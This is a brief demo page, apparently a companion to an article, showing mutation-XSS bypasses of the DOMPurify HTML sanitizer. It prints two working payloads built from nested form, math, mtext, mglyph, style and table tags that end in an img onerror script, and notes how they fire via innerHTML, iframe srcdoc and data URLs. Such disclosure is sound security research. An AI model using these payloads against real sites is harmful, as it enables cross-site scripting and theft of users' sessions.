DOMPurify bypass

Live examples for an excellent article.

Editable input:

<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>

Input is harmless .innerHTML = raw:

Alerts when sanitized .innerHTML = sanitized:

In <iframe> with .srcdoc = sanitized:

And with .src = `data:text/html;charset=utf-8,${sanitized}`:

Note: Chrome 86 parse content differently in <iframe>.

Check out sample by Sapra @pwntheweb (the one in article contains an error, fixed):

<math><mtext><table><mglyph><style><math><table id="</table>"><img src onerror=alert(1)>